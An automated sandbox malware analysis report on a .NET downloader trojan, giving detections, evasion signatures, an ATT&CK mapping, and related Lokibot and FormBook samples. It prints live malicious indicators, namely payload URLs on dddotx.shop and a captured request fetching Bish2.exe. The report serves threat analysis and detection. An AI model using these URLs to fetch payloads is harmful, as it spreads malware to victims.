Edit tour

Windows Analysis Report
AJ5zYYsisA.exe

Overview

General Information

Sample name:	AJ5zYYsisA.exe renamed because original name is a hash value
Original sample name:	846b1a1780ef242a61828a428ce04a9d40c3a6bd02de90a3a06499895899fede.exe
Analysis ID:	1588641
MD5:	d522a48e0db195310ffe6dabf14d3c32
SHA1:	83a4dfb28a5c9710ff812e7f568bf71316e33665
SHA256:	846b1a1780ef242a61828a428ce04a9d40c3a6bd02de90a3a06499895899fede
Tags:	exeuser-adrian__luca
Infos:

Detection

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Machine Learning detection for sample

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains long sleeps (>= 3 min)

Enables debug privileges

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Classification

Process Tree

System is w10x64

AJ5zYYsisA.exe (PID: 2868 cmdline: "C:\Users\user\Desktop\AJ5zYYsisA.exe" MD5: D522A48E0DB195310FFE6DABF14D3C32)

cleanup

Suricata Signatures

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:35:00.622476+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	49702	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: AJ5zYYsisA.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://dddotx.shop/Bish2.exe:	Avira URL Cloud: Label: malware
Source: https://dddotx.shop/DLLL.dll	Avira URL Cloud: Label: malware
Source: https://dddotx.shop/DLLL.dll;https://dddotx.shop/Bish2.exe	Avira URL Cloud: Label: malware
Source: https://dddotx.shop	Avira URL Cloud: Label: malware
Source: http://dddotx.shop	Avira URL Cloud: Label: malware
Source: https://dddotx.shop/Bish2.exe	Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: AJ5zYYsisA.exe	ReversingLabs: Detection: 57%
Source: AJ5zYYsisA.exe	Virustotal: Detection: 70%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.3% probability

Machine Learning detection for sample

Source: AJ5zYYsisA.exe

Joe Sandbox ML: detected

Source: AJ5zYYsisA.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49702 version: TLS 1.2

Source: AJ5zYYsisA.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: Bish.pdbH source: AJ5zYYsisA.exe
Source:	Binary string: Bish.pdb source: AJ5zYYsisA.exe

Source: global traffic

HTTP traffic detected: GET /Bish2.exe HTTP/1.1Host: dddotx.shopConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic

Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49702 -> 188.114.96.3:443

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /Bish2.exe HTTP/1.1Host: dddotx.shopConnection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: dddotx.shop

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 11 Jan 2025 02:35:00 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400CF-Cache-Status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fuz5G1IHvIYKa3ZvgJDCAj%2BnzwVGGXWy3wDAJdvzNR0QyoD21js1xoESBMYGdTz%2FV4b12D0Y2VKNUtl3yPMNaqx83Jihz4gqbGdMH%2FpqtvOxu6433MNQFqW4p7MEFQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 900182cf7a5a429a-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1870&min_rtt=1858&rtt_var=722&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2825&recv_bytes=684&delivery_rate=1489795&cwnd=237&unsent_bytes=0&cid=15301424f7eb13c0&ts=362&x=0"

Source: AJ5zYYsisA.exe, 00000000.00000002.1271434884.0000000000837000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micros
Source: AJ5zYYsisA.exe, 00000000.00000002.1272484683.00000000026E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dddotx.shop
Source: AJ5zYYsisA.exe, 00000000.00000002.1272484683.00000000026E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dddotx.shopd
Source: AJ5zYYsisA.exe, 00000000.00000002.1272484683.00000000026D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: AJ5zYYsisA.exe, 00000000.00000002.1272484683.00000000026D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dddotx.shop
Source: AJ5zYYsisA.exe, 00000000.00000002.1272484683.00000000026D2000.00000004.00000800.00020000.00000000.sdmp, AJ5zYYsisA.exe, 00000000.00000002.1272484683.0000000002671000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dddotx.shop/Bish2.exe
Source: AJ5zYYsisA.exe, 00000000.00000002.1272484683.0000000002709000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dddotx.shop/Bish2.exe:
Source: AJ5zYYsisA.exe, 00000000.00000002.1272484683.00000000026D2000.00000004.00000800.00020000.00000000.sdmp, AJ5zYYsisA.exe, 00000000.00000002.1272484683.0000000002671000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dddotx.shop/DLLL.dll
Source: AJ5zYYsisA.exe	String found in binary or memory: https://dddotx.shop/DLLL.dll;https://dddotx.shop/Bish2.exe

Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49702 version: TLS 1.2

Source: AJ5zYYsisA.exe, 00000000.00000002.1271434884.000000000079E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs AJ5zYYsisA.exe
Source: AJ5zYYsisA.exe, 00000000.00000000.1260807942.000000000028A000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameBish.exe* vs AJ5zYYsisA.exe
Source: AJ5zYYsisA.exe	Binary or memory string: OriginalFilenameBish.exe* vs AJ5zYYsisA.exe

Source: AJ5zYYsisA.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: classification engine

Classification label: mal72.winEXE@1/1@1/1

Source: C:\Users\user\Desktop\AJ5zYYsisA.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\AJ5zYYsisA.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\AJ5zYYsisA.exe

Mutant created: NULL

Source: AJ5zYYsisA.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: AJ5zYYsisA.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\AJ5zYYsisA.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: AJ5zYYsisA.exe	ReversingLabs: Detection: 57%
Source: AJ5zYYsisA.exe	Virustotal: Detection: 70%

Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Section loaded: gpapi.dll	Jump to behavior

Source: AJ5zYYsisA.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: AJ5zYYsisA.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: AJ5zYYsisA.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: Bish.pdbH source: AJ5zYYsisA.exe
Source:	Binary string: Bish.pdb source: AJ5zYYsisA.exe

Source: AJ5zYYsisA.exe

Static PE information: 0xEF72C5EC [Sat Apr 20 06:06:36 2097 UTC]

Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Memory allocated: 8E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Memory allocated: 2670000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe	Memory allocated: 2460000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\AJ5zYYsisA.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\AJ5zYYsisA.exe TID: 4732	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\AJ5zYYsisA.exe TID: 5104	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\AJ5zYYsisA.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: AJ5zYYsisA.exe, 00000000.00000002.1271434884.00000000007D7000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllp

Source: C:\Users\user\Desktop\AJ5zYYsisA.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\AJ5zYYsisA.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\AJ5zYYsisA.exe

Queries volume information: C:\Users\user\Desktop\AJ5zYYsisA.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\AJ5zYYsisA.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	12 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Timestomp	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
AJ5zYYsisA.exe	58%	ReversingLabs	ByteCode-MSIL.Trojan.Leonem
AJ5zYYsisA.exe	71%	Virustotal		Browse
AJ5zYYsisA.exe	100%	Avira	HEUR/AGEN.1323738
AJ5zYYsisA.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://dddotx.shopd	0%	Avira URL Cloud	safe
https://dddotx.shop/Bish2.exe:	100%	Avira URL Cloud	malware
https://dddotx.shop/DLLL.dll	100%	Avira URL Cloud	malware
https://dddotx.shop/DLLL.dll;https://dddotx.shop/Bish2.exe	100%	Avira URL Cloud	malware
https://dddotx.shop	100%	Avira URL Cloud	malware
http://dddotx.shop	100%	Avira URL Cloud	malware
https://dddotx.shop/Bish2.exe	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
dddotx.shop	188.114.96.3	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://dddotx.shop/Bish2.exe	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://dddotx.shop/DLLL.dll;https://dddotx.shop/Bish2.exe	AJ5zYYsisA.exe	false	Avira URL Cloud: malware	unknown
https://dddotx.shop	AJ5zYYsisA.exe, 00000000.00000002.1272484683.00000000026D2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://dddotx.shop/Bish2.exe:	AJ5zYYsisA.exe, 00000000.00000002.1272484683.0000000002709000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://dddotx.shopd	AJ5zYYsisA.exe, 00000000.00000002.1272484683.00000000026E9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	AJ5zYYsisA.exe, 00000000.00000002.1272484683.00000000026D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://dddotx.shop	AJ5zYYsisA.exe, 00000000.00000002.1272484683.00000000026E9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://dddotx.shop/DLLL.dll	AJ5zYYsisA.exe, 00000000.00000002.1272484683.00000000026D2000.00000004.00000800.00020000.00000000.sdmp, AJ5zYYsisA.exe, 00000000.00000002.1272484683.0000000002671000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.micros	AJ5zYYsisA.exe, 00000000.00000002.1271434884.0000000000837000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.96.3	dddotx.shop	European Union		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588641
Start date and time:	2025-01-11 03:34:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	AJ5zYYsisA.exe renamed because original name is a hash value
Original Sample Name:	846b1a1780ef242a61828a428ce04a9d40c3a6bd02de90a3a06499895899fede.exe
Detection:	MAL
Classification:	mal72.winEXE@1/1@1/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 9 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 20.109.210.53
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target AJ5zYYsisA.exe, PID 2868 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
21:34:59	API Interceptor	1x Sleep call for process: AJ5zYYsisA.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	AxKxwW9WGa.exe	Get hash	malicious	FormBook	Browse	www.zkdamdjj.shop/kf1m/
	XeFYBYYj0w.exe	Get hash	malicious	FormBook	Browse	www.einpisalpace.shop/8g74/?wtE0B=1LjxZz&9F=WJ/rFpSuW7SUTonvHlYgJHet70+40/nSG+S456FFT70GKpWTD+yYW7KPXc3l6inPZ41lXlQU44ttBNcSIyPO/Awb2QEZq+eieNEXwOjUfdTJHvICblirwfj54bAbpLWz76fPuJmn0JFO
	tfWjjV1LdT.exe	Get hash	malicious	FormBook	Browse	www.zkdamdjj.shop/kf1m/
	M7XS5C07kV.exe	Get hash	malicious	FormBook	Browse	www.zkdamdjj.shop/kf1m/
	https://cocteldedeas.mx/rx567#cmVjaWJhc2VAc2VhbWFyaXRpbWEuY29t	Get hash	malicious	HTMLPhisher	Browse	cocteldedeas.mx/rx567/
	ofZiNLLKZU.exe	Get hash	malicious	FormBook	Browse	www.zrichiod-riech.sbs/kf10/
	KcSzB2IpP5.exe	Get hash	malicious	FormBook	Browse	www.cifasnc.info/9kxb/?SDC=3P5Gm1XciD5wQdS+7olugPzxqsRcbkm2h5Eq/rLsNh2+B342K587ak9zFSbTb4g5MvE40jzEqyGLe8su/vgeQxV3BBvpqLfi5EtkufMqD+H/d+eq3w==&mH=CpePy0P
	1162-201.exe	Get hash	malicious	FormBook	Browse	www.einpisalpace.shop/pgw3/
	https://ik.imagekit.io/nrof2h909/Sherman%20Pruitt,%20Chief%20of%20Police,%20MSCJ.pdf?updatedAt=1736444487005	Get hash	malicious	Unknown	Browse	jackoffjackofflilliilkillxoopoeadonline.top/drive/
	KSts9xW7qy.exe	Get hash	malicious	FormBook	Browse	www.mydreamdeal.click/1ag2/?xP7x=4VB/N4F6tibqC9FQILosJ+n1llTK4MiF4YtEqiz3GsaSMOHPZtZI38ZqeQNXmBxLoc2gIm7YkXHcJ/CISLsxa/r9DhwgcU3z86+N04yu78wK1Du9wX32CCg=&F4=Q0yHy

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
dddotx.shop	rQuotation.exe	Get hash	malicious	Lokibot, PureLog Stealer	Browse	172.67.153.63
	XE5p2qNoWt.exe	Get hash	malicious	Lokibot, PureLog Stealer, zgRAT	Browse	104.21.12.202
	6SQADa3zKv.exe	Get hash	malicious	Lokibot, PureLog Stealer, zgRAT	Browse	172.67.153.63
	Quotation.exe	Get hash	malicious	Lokibot, PureLog Stealer	Browse	104.21.12.202
	rPedidodecompra__PO20441__ARIMComponentes.exe	Get hash	malicious	Lokibot, PureLog Stealer, zgRAT	Browse	188.114.96.3
	1e#U0414.exe	Get hash	malicious	Lokibot	Browse	188.114.96.3
	(PO403810)_VOLEX_doc.exe	Get hash	malicious	Lokibot	Browse	188.114.97.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	suBpo1g13Q.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
	4NG0guPiKA.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.80.1
	n0nsAzvYNd.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	njVvgA8pEB.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.16.1
	AxKxwW9WGa.exe	Get hash	malicious	FormBook	Browse	172.67.186.192
	k9OEsV37GE.exe	Get hash	malicious	FormBook	Browse	104.21.96.1
	rwlPT9YJt0.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.80.1
	YDg44STseR.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	ZoRLXzC5qF.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.16.1
	XeFYBYYj0w.exe	Get hash	malicious	FormBook	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	4NG0guPiKA.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	188.114.96.3
